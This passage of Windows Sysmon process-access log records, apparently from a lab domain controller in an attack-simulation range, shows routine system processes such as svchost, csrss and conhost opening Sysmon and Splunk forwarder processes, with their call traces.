11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2125,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2126,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FEA-5F2D-0000-001036660300}\r\nTargetProcessId: 2292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FEA-5F2D-0000-001036660300}","TargetProcessId":"2292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2127,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2128,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2129,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2130,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2131,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2132,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FEA-5F2D-0000-001036660300}\r\nTargetProcessId: 2292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FEA-5F2D-0000-001036660300}","TargetProcessId":"2292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2133,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.922\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FEA-5F2D-0000-001036660300}\r\nTargetProcessId: 2292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 